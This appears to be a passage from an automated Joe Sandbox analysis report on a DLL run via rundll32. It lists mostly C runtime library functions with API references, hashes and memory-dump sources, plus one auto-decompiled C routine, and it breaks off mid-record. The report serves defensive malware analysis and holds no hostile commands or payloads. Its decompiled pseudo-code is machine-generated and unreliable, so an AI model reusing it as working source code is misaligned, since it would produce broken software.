EnumSystemLocalesW.KERNEL32(70011DBE,00000001,?,?,?,70012626,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 70011E9C

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 95992fcd694a572e76b77485a018ff2750b466a0a561b229b727339e9d7581b2
Instruction ID: e368fc46dd1b0dadf24caabc27884f615e2eee6d8e838f4e1d6a76bd41f283ca
Opcode Fuzzy Hash: 95992fcd694a572e76b77485a018ff2750b466a0a561b229b727339e9d7581b2
Instruction Fuzzy Hash: 5EF0EC3630010657DB099F75D9457AE7FF5EFC1A30B064058EE068B390C6319C82C794

Uniqueness

Uniqueness Score: -1.00%

Function 70009E09 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,7000B990,?,20001004,00000000,00000002,?,?,7000AF7B), ref: 70009E3D

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7c3fb84d636dfe2f33d0213cc7fbcfcbdcfd7cb12ec36cb2d00e75e4562734f8
Instruction ID: c95cb7f3a2a632b913c763baa9613c0086f8547e971b59b86df26cc9dd58a7f6
Opcode Fuzzy Hash: 7c3fb84d636dfe2f33d0213cc7fbcfcbdcfd7cb12ec36cb2d00e75e4562734f8
Instruction Fuzzy Hash: 07E04F32540118BFEF129F61DC08AAE3F6AEF45B70F108010FD0966221CB729E21AAD1

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA2274 Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6FFA2274(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E6FFA23DB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E6FFA2495(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E6FFA2380(_t55, _t66);
										_t89 = _t66 + 0x10;
										E6FFA23DB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E6FFA2477(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x6ffa2278
0x6ffa2279
0x6ffa227a
0x6ffa227d
0x6ffa227f
0x6ffa2282
0x6ffa2283
0x6ffa2285
0x6ffa2286
0x6ffa2287
0x6ffa228a
0x6ffa2294
0x6ffa2345
0x6ffa234c
0x6ffa2355
0x6ffa229a
0x6ffa229a
0x6ffa22a0
0x6ffa22a6
0x6ffa22a9
0x6ffa22ac
0x6ffa22b0
0x6ffa22b5
0x6ffa22ba
0x6ffa233a
0x00000000
0x6ffa22bc
0x6ffa22bc
0x6ffa22c8
0x6ffa22ca
0x6ffa2325
0x6ffa2325
0x6ffa232b
0x00000000
0x6ffa22cc
0x6ffa22db
0x6ffa22dd
0x6ffa22de
0x6ffa22df
0x6ffa22e2
0x6ffa22e2
0x6ffa22e4
0x00000000
0x6ffa22e6
0x6ffa22e6
0x6ffa2330
0x6ffa22e8
0x6ffa22e8
0x6ffa22ec
0x6ffa22f4
0x6ffa22f9
0x6ffa22fe
0x6ffa230a
0x6ffa2312
0x6ffa2319
0x6ffa231f
0x6ffa2323
0x00000000
0x6ffa2323
0x6ffa22e6
0x6ffa22e4
0x00000000
0x6ffa22ca
0x6ffa233e
0x6ffa233e
0x6ffa233e
0x6ffa22ba
0x6ffa235a
0x6ffa2361

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 97f4ce6711ee7d81dea9afc1dbd3decbe7208f836cc6894add6e320c2c2e6d5a
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: B121C432A00704DBD700DF69C8C09ABB7A5FF49350B4581A9D8599B245DB32FA15C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 7004A4A3 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.882581732.000000007004A000.00000040.00000001.01000000.0000000C.sdmp, Offset: 7004A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7004a000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 9ad0f6642d70298a358e6af5b5da2e682fde531b1adde0a70d030f1ba756e1e6
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: 671181733405009FD754CE59EC81EAA73EAEBDA630725806AED04CB305D676EC51C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 7004A89C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.882581732.000000007004A000.00000040.00000001.01000000.0000000C.sdmp, Offset: 7004A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7004a000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: 06a0a3fa1bca52f641daa0c10f05c7c741a07ee23042c63e25862fa1379e921a
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 540104723042458FD719CB18D98496EB7F9EBC3A34B15907EE447C3615D520EC46C924

Uniqueness

Uniqueness Score: -1.00%

Function 7000EB9A Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fca37d7889c3a260593bbad1d581110a8fd693c346d4737e753c4759e39e5a5
Instruction ID: ff2a4e933308082384f323ee8e5b5f41b7192e1a6095169e81ac85e9c3d992c6
Opcode Fuzzy Hash: 6fca37d7889c3a260593bbad1d581110a8fd693c346d4737e753c4759e39e5a5
Instruction Fuzzy Hash: E0E08C32915268EBCB10CB88C900D8EB3FCEB44E64B21409AB502E3101C370EE40C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 6FFFF0C0 Relevance: 54.3, APIs: 36, Instructions: 284COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF179
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF188
char_traits.LIBCPMTD ref: 6FFFF194
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF1B0
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF1C5
char_traits.LIBCPMTD ref: 6FFFF1D7
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF1E6
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF1F5
char_traits.LIBCPMTD ref: 6FFFF201
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF21D
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF22C
char_traits.LIBCPMTD ref: 6FFFF238
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF247
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF25C
char_traits.LIBCPMTD ref: 6FFFF26E

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: d3a7509486b76081470c7a518e2d4ac50561db21e1814540b1f1cbe54e7e4f5c
Instruction ID: 91f29b3126bf8f0ec511e09867febdb1999827a47b67f2d103a68876175ddc61
Opcode Fuzzy Hash: d3a7509486b76081470c7a518e2d4ac50561db21e1814540b1f1cbe54e7e4f5c
Instruction Fuzzy Hash: E8C1067460110EEFCB04DF98C9E1C9E7776AF88348B548658E9059B2B4DF30AE66DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 70006EE3 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 70006F52
_free.LIBCMT ref: 70006F68
_free.LIBCMT ref: 70006F7B
_free.LIBCMT ref: 70006F90
_free.LIBCMT ref: 70006FA5
GetCPInfo.KERNEL32(?,?), ref: 70006FEF

Part of subcall function 7000A156: _free.LIBCMT ref: 7000A1C1

_free.LIBCMT ref: 7000725A
_free.LIBCMT ref: 7000726D
_free.LIBCMT ref: 7000727B
_free.LIBCMT ref: 70007286
_free.LIBCMT ref: 700072C8
_free.LIBCMT ref: 700072D0
_free.LIBCMT ref: 700072D6
_free.LIBCMT ref: 700072DE
_free.LIBCMT ref: 700072EC

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: a9824216ead9bd280c27b5276f1881a77e5a4c20b47eb11c04cb6e4761f6d705
Instruction ID: 272d202b8f988d8038302b157d84eb41cce39a5a0ea54de91ceb8be01c934ed3
Opcode Fuzzy Hash: a9824216ead9bd280c27b5276f1881a77e5a4c20b47eb11c04cb6e4761f6d705
Instruction Fuzzy Hash: 2AD18071D002059FEB11CFB9C885BEEBBF6BF08720F14416DE49AA7282D779A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 700106A3 Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 700106C0

Part of subcall function 700074E6: HeapFree.KERNEL32(00000000,00000000,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?), ref: 700074FC
Part of subcall function 700074E6: GetLastError.KERNEL32(?,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?,?), ref: 7000750E

_free.LIBCMT ref: 700106D2
_free.LIBCMT ref: 700106E4
_free.LIBCMT ref: 700106F6
_free.LIBCMT ref: 70010708
_free.LIBCMT ref: 7001071A
_free.LIBCMT ref: 7001072C
_free.LIBCMT ref: 7001073E
_free.LIBCMT ref: 70010750
_free.LIBCMT ref: 70010762
_free.LIBCMT ref: 70010774
_free.LIBCMT ref: 70010786
_free.LIBCMT ref: 70010798

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f97cc94d2ea3b08f866f1e80c0d6ec52c0edfb6720023a01d931fff0eb92fdf2
Instruction ID: 5be9ad8ea7f0c4f679f7da0f494f30bb4a7686d66051d5ad374a82ff352607b7
Opcode Fuzzy Hash: f97cc94d2ea3b08f866f1e80c0d6ec52c0edfb6720023a01d931fff0eb92fdf2
Instruction Fuzzy Hash: 3621CD729086019FE624DB69E98DD1E77FABB16B307714809F04ED7661CB74F8C08A29

Uniqueness

Uniqueness Score: -1.00%

Function 70010168 Relevance: 18.1, APIs: 12, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 700101A1

Part of subcall function 700074E6: HeapFree.KERNEL32(00000000,00000000,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?), ref: 700074FC
Part of subcall function 700074E6: GetLastError.KERNEL32(?,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?,?), ref: 7000750E

Part of subcall function 700106A3: _free.LIBCMT ref: 700106C0
Part of subcall function 700106A3: _free.LIBCMT ref: 700106D2
Part of subcall function 700106A3: _free.LIBCMT ref: 700106E4
Part of subcall function 700106A3: _free.LIBCMT ref: 700106F6
Part of subcall function 700106A3: _free.LIBCMT ref: 70010708
Part of subcall function 700106A3: _free.LIBCMT ref: 7001071A
Part of subcall function 700106A3: _free.LIBCMT ref: 7001072C
Part of subcall function 700106A3: _free.LIBCMT ref: 7001073E
Part of subcall function 700106A3: _free.LIBCMT ref: 70010750
Part of subcall function 700106A3: _free.LIBCMT ref: 70010762
Part of subcall function 700106A3: _free.LIBCMT ref: 70010774
Part of subcall function 700106A3: _free.LIBCMT ref: 70010786
Part of subcall function 700106A3: _free.LIBCMT ref: 70010798

_free.LIBCMT ref: 700101C3
_free.LIBCMT ref: 700101D8
_free.LIBCMT ref: 700101E3
_free.LIBCMT ref: 70010205
_free.LIBCMT ref: 70010218
_free.LIBCMT ref: 70010226
_free.LIBCMT ref: 70010231
_free.LIBCMT ref: 70010269
_free.LIBCMT ref: 70010270
_free.LIBCMT ref: 7001028D
_free.LIBCMT ref: 700102A5

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c47b5f8f1398932e329f591e448691dbf4b7ebacda39726e9c4bb4b9a9c59c11
Instruction ID: e899c0f5af7b323e78e8686e828945d8871133d87de415e42b4181add55065cd
Opcode Fuzzy Hash: c47b5f8f1398932e329f591e448691dbf4b7ebacda39726e9c4bb4b9a9c59c11
Instruction Fuzzy Hash: A2314E31A04202AFEB219B75D949B5E77FABF00B74F218429F49AD7151DBB8BD80CB11

Uniqueness

Uniqueness Score: -1.00%

Function 70009582 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 70009598

Part of subcall function 700074E6: HeapFree.KERNEL32(00000000,00000000,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?), ref: 700074FC
Part of subcall function 700074E6: GetLastError.KERNEL32(?,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?,?), ref: 7000750E

_free.LIBCMT ref: 700095A4
_free.LIBCMT ref: 700095AF
_free.LIBCMT ref: 700095BA
_free.LIBCMT ref: 700095C5
_free.LIBCMT ref: 700095D0
_free.LIBCMT ref: 700095DB
_free.LIBCMT ref: 700095E6
_free.LIBCMT ref: 700095F1
_free.LIBCMT ref: 700095FF

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 05c1a3bbcdd2f1419836cacbb61ec53f82d82ae4fff0d2ac9c6276039de2dbe6
Instruction ID: 97089b3469df367ce5ff4be50e93fad7a256b0b6bd4046ef705e6f1e16815efe
Opcode Fuzzy Hash: 05c1a3bbcdd2f1419836cacbb61ec53f82d82ae4fff0d2ac9c6276039de2dbe6
Instruction Fuzzy Hash: 5421F876904108BFDB11DFA4C985DEE7FB9BF08620F0141A6F5099B122EB35EA44CF81

Uniqueness

Uniqueness Score: -1.00%

Function 70010BC1 Relevance: 13.7, APIs: 9, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 70010C2F
_free.LIBCMT ref: 70010C3B
_free.LIBCMT ref: 70010D64
_free.LIBCMT ref: 70010D6F

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 30f2ca76489c21f221c9ebf10f39c900f917439cb00bee90209806db1434aaa1
Instruction ID: 6b9503c9cb6399f6a15e0d4d227aca03bdc491feb121b3ee175313bc9ae0cbb8
Opcode Fuzzy Hash: 30f2ca76489c21f221c9ebf10f39c900f917439cb00bee90209806db1434aaa1
Instruction Fuzzy Hash: E561D5729046069FE721CF78D841B9E77F9FB45B30F204559E989DB281EBB0BD408B51

Uniqueness

Uniqueness Score: -1.00%

Function 6FFFF410 Relevance: 13.6, APIs: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 6FFFA6C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFA6D1
Part of subcall function 6FFFA6C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFA6DE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF434

Part of subcall function 6FFFF0C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF179
Part of subcall function 6FFFF0C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF188
Part of subcall function 6FFFF0C0: char_traits.LIBCPMTD ref: 6FFFF194

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF4BA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF4CF
char_traits.LIBCPMTD ref: 6FFFF4E1
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF52C
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF541
char_traits.LIBCPMTD ref: 6FFFF553
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6FFFF566
char_traits.LIBCPMTD ref: 6FFFF572

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 0f016ba469a117847c5979690273d21c227afda46c1714b2a82e69eadf211ba4
Instruction ID: 69c695e9435f3c5dfeb203d8bcc68b60fed77fa0f39ff9a332bc4254af64a895
Opcode Fuzzy Hash: 0f016ba469a117847c5979690273d21c227afda46c1714b2a82e69eadf211ba4
Instruction Fuzzy Hash: BB510D75A0110EEFCB04DF98D9D0D9E73B6AF88308F548658E9159B3A4DB30AF16DB90

Uniqueness

Uniqueness Score: -1.00%

Function 7000B5AC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 700096C6: GetLastError.KERNEL32(00000000,?,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 700096CB
Part of subcall function 700096C6: SetLastError.KERNEL32(00000000,700471A0,000000FF,?,70006E7D,?,?,7000053E,?,?,70045B10,?), ref: 70009769

_memcmp.LIBVCRUNTIME ref: 7000B845
_free.LIBCMT ref: 7000B8B9
_free.LIBCMT ref: 7000B8D2
_free.LIBCMT ref: 7000B910
_free.LIBCMT ref: 7000B919
_free.LIBCMT ref: 7000B925

Strings

C, xrefs: 7000B708

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C
API String ID: 4275183328-1037565863
Opcode ID: 1fd14246e37770a957d950b4cbe6281ae3dea5a62c8ba3575761535fe8edd5a0
Instruction ID: 2ad2be3f93130312bdd8a729acb6c1c991dc571e711b98b1f773fc178a8faa1a
Opcode Fuzzy Hash: 1fd14246e37770a957d950b4cbe6281ae3dea5a62c8ba3575761535fe8edd5a0
Instruction Fuzzy Hash: 33B13C75A012199FEB25DF18C884B9DB7B5FF48724F1085AAE90AA7350DB71AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6FFF6600 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 6FFF66A4
new.LIBCMT ref: 6FFF66E5
new.LIBCMT ref: 6FFF672A
new.LIBCMT ref: 6FFF676F
new.LIBCMT ref: 6FFF67B4
new.LIBCMT ref: 6FFF688E
new.LIBCMT ref: 6FFF68D5

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5af925e0bb4255ed1d0cea57c4d73a074bf57a85f871645eae71e6705c25ac03
Instruction ID: c52c509d80674c6e3c924945564b214af6c1e635c35590b3a05b1275ad833291
Opcode Fuzzy Hash: 5af925e0bb4255ed1d0cea57c4d73a074bf57a85f871645eae71e6705c25ac03
Instruction Fuzzy Hash: 5CC1D6B4D01209DFDB14CF98C990BAEBBB1FF49314F208269E419AB391DB35A946CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6FFF22F0 Relevance: 10.6, APIs: 7, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6FFF231A
int.LIBCPMTD ref: 6FFF2333

Part of subcall function 6FFF5120: std::_Lockit::_Lockit.LIBCPMT ref: 6FFF5136
Part of subcall function 6FFF5120: std::_Lockit::~_Lockit.LIBCPMT ref: 6FFF5160

std::_Lockit::~_Lockit.LIBCPMT ref: 6FFF23CB

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: b7142ffed3046ac49ca1ab9a65a225dc485f7068299ecebea8bd712ae7f55b31
Instruction ID: 8c83eacf671e5c6d7c5081f76e1f082217f26537f4fe45b922b6b7492d0d99c4
Opcode Fuzzy Hash: b7142ffed3046ac49ca1ab9a65a225dc485f7068299ecebea8bd712ae7f55b31
Instruction Fuzzy Hash: F7314BB1D0524ADFCB04DFA4C981AEEB7B5FF48720F104629E825B73A0DB356A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6FFF21F0 Relevance: 10.6, APIs: 7, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6FFF221A
int.LIBCPMTD ref: 6FFF2233

Part of subcall function 6FFF5120: std::_Lockit::_Lockit.LIBCPMT ref: 6FFF5136
Part of subcall function 6FFF5120: std::_Lockit::~_Lockit.LIBCPMT ref: 6FFF5160

std::_Lockit::~_Lockit.LIBCPMT ref: 6FFF22CB

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: a0f5f5d9050b5342a8b420c6bedff8e8e3daeb78f75879064a4a32afb0882b47
Instruction ID: 7302dbb918da0a733c11fa83775117b8244f691ae43c566701b697452c5f2d31
Opcode Fuzzy Hash: a0f5f5d9050b5342a8b420c6bedff8e8e3daeb78f75879064a4a32afb0882b47
Instruction Fuzzy Hash: BF315CB1D05249DFDB04DFA4C980BEEB7B0FF49720F104629E825A73A0DB716A01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 70011084 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 70010DD0: _free.LIBCMT ref: 70010DF5

_free.LIBCMT ref: 700110D2

Part of subcall function 700074E6: HeapFree.KERNEL32(00000000,00000000,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?), ref: 700074FC
Part of subcall function 700074E6: GetLastError.KERNEL32(?,?,70010DFA,?,00000000,?,?,?,7001109D,?,00000007,?,?,700102FF,?,?), ref: 7000750E

_free.LIBCMT ref: 700110DD
_free.LIBCMT ref: 700110E8
_free.LIBCMT ref: 7001113C
_free.LIBCMT ref: 70011147
_free.LIBCMT ref: 70011152
_free.LIBCMT ref: 7001115D

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: db93a60c520cae334d79caf43acf8ce84a6796fdc350f4b236b0c628b9c7a178
Instruction ID: 30abfd799bc072c3d797e465062370f173c556e0cc3cf4cf1ef16ba840afb9c1
Opcode Fuzzy Hash: db93a60c520cae334d79caf43acf8ce84a6796fdc350f4b236b0c628b9c7a178
Instruction Fuzzy Hash: 82112C71940B04AEE530ABF0DC0AFDF7B9CBF40B60F404815B29DA6092DBA9B5448752

Uniqueness

Uniqueness Score: -1.00%

Function 70005FEA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,70005ED4,700019C5,700015F1), ref: 70005FF8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 70006006
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 7000601F
SetLastError.KERNEL32(00000000,?,70005ED4,700019C5,700015F1), ref: 70006071

Memory Dump Source

Source File: 00000017.00000002.882489072.000000006FFAF000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffaf000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4bb942f0e4f706afa6a167da4a01b7911a6bdcf1456eb8d522460cc55fd52a5d
